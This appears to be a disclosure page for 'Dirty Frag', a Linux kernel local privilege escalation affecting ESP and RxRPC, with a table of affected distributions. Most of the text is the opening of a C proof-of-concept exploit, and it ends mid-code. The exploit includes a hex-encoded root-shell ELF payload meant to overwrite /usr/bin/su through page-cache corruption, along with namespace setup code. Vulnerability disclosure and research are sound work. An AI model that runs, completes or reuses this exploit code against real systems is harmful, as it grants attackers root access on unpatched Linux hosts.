
Dirty Frag - kernel Linux critical Vulnerability
The exploit chain, classified as a Local Privilege Escalation (LPE), allows an unprivileged user to obtain root access on virtually all modern Linux distributions running kernels released since 2017, spanning approximately nine years of versions. The exploitation operates over the in-place decryption path of the esp4, esp6, and rxrpc modules, corrupting the kernel page cache through standard syscalls such as splice(2) and sendmsg(2), requiring neither user interaction nor a remote attack vector.
The two component vulnerabilities are:
xfrm-ESP Page-Cache Write - CVE-2026-43284, in the IPsec ESP input path. Merged to the netdev tree on 7 May 2026 and accepted into mainline on 8 May 2026 as commit f4c50a4034e6 (opens in new tab).
RxRPC Page-Cache Write - CVE-2026-43500 reserved, in the AFS RxRPC verify path. No patch exists in any tree at the time of disclosure.
| Distribution | Affected Versions | CVE-2026-43284 (ESP) | CVE-2026-43500 (RxRPC) | Patch Status |
|---|---|---|---|---|
| RHEL | 8, 9, 10 | ✅ Affected | ✅ Affected | Patched |
| AlmaLinux | 8, 9, 10 | ✅ Affected | ⚠️ 9 and 10 only¹ | Patched |
| Rocky Linux | 8, 9, 10 | ✅ Affected | ✅ Affected | Patched |
| CentOS | 8 | ✅ Affected | ✅ Affected | Patched |
| CloudLinux | 7 Hybrid, 8, 9, 10 | ✅ Affected | ✅ Affected | Patched |
| Oracle Linux | RHCK / UEK affected | ✅ Affected | ✅ Affected | Patched |
| Ubuntu | 20.04, 22.04, 24.04 | ✅ Affected | ✅ Affected | Patched |
| Debian | Bullseye, Bookworm, Trixie | ✅ Affected | ✅ Affected | Patched (sid first) |
| Fedora | Current releases | ✅ Affected | ✅ Affected | Patched |
| Arch Linux | Rolling | ✅ Affected | ✅ Affected | Patched |
| Amazon Linux | 2, 2023 | ✅ Affected | ✅ Affected | Patched |
| Proxmox VE | Current releases | ✅ Affected | ✅ Affected | Patched |
Affected: Linux kernel ≥ 4.14 (since Jan 2017) · All major distributions · No remote vector CVSS 3.1: 8.8 HIGH (CVE-2026-43284) · Disclosed: May 7, 2026 · PoC public day zero Researcher: Hyunwoo Kim (@v4bel)
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/xfrm.h>
#ifndef UDP_ENCAP
#define UDP_ENCAP 100
#endif
#ifndef UDP_ENCAP_ESPINUDP
#define UDP_ENCAP_ESPINUDP 2
#endif
#ifndef SOL_UDP
#define SOL_UDP 17
#endif
#define ENC_PORT 4500
#define SEQ_VAL 200
#define REPLAY_SEQ 100
#define TARGET_PATH "/usr/bin/su"
#define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] */
#define PAYLOAD_LEN 192 /* bytes of shell_elf to write (48 triggers) */
#define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */
/*
* 192-byte minimal x86_64 root-shell ELF.
* _start at 0x400078:
* setgid(0); setuid(0); setgroups(0, NULL);
* execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
* PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X.
*
* Setting TERM in the new shell's env silences the
* "tput: No value for $TERM" / "test: : integer expected" noise
* /etc/bash.bashrc and friends emit when TERM is unset.
*
* Code (from offset 0x78):
* 31 ff xor edi, edi
* 31 f6 xor esi, esi
* 31 c0 xor eax, eax
* b0 6a mov al, 0x6a ; setgid
* 0f 05 syscall
* b0 69 mov al, 0x69 ; setuid
* 0f 05 syscall
* b0 74 mov al, 0x74 ; setgroups
* 0f 05 syscall
* 6a 00 push 0 ; envp[1] = NULL
* 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm"
* 50 push rax ; envp[0]
* 48 89 e2 mov rdx, rsp ; rdx = envp
* 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh"
* 31 f6 xor esi, esi ; rsi = NULL (argv)
* 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve)
* 0f 05 syscall ; execve("/bin/sh",NULL,envp)
* "TERM=xterm\0" (offset 0xa5..0xaf)
* "/bin/sh\0" (offset 0xb0..0xb7)
*/
static const uint8_t shell_elf[PAYLOAD_LEN] = {
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,
0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12,
0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6,
0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00,
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
};
extern int g_su_verbose;
int g_su_verbose = 0;
#define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0)
static int write_proc(const char *path, const char *buf)
{
int fd = open(path, O_WRONLY);
if (fd < 0) return -1;
int n = write(fd, buf, strlen(buf));
close(fd);
return n;
}
static void setup_userns_netns(void)
{
uid_t real_uid = getuid();
gid_t real_gid = getgid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
SLOG("unshare: %s", strerror(errno));
exit(1);
}
write_proc("/proc/self/setgroups", "deny");
char map[64];
snprintf(map, sizeof(map), "0 %u 1", real_uid);
if (write_proc("/proc/self/uid_map", map) < 0) {
SLOG("uid_map: %s", strerror(errno)); exit(1);
}
snprintf(map, sizeof(map), "0 %u 1", real_gid);
if (write_proc("/proc/self/gid_map", map) < 0) {
SLOG("gid_map: %s", strerror(errno)); exit(1);
}
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); }
struct ifreq ifr; memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); }
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); }
close(s);
}
static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len)
{
struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
rta->rta_type = type;
rta->rta_len = RTA_LENGTH(len);
memcpy(RTA_DATA(rta), data, len);
nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len);
}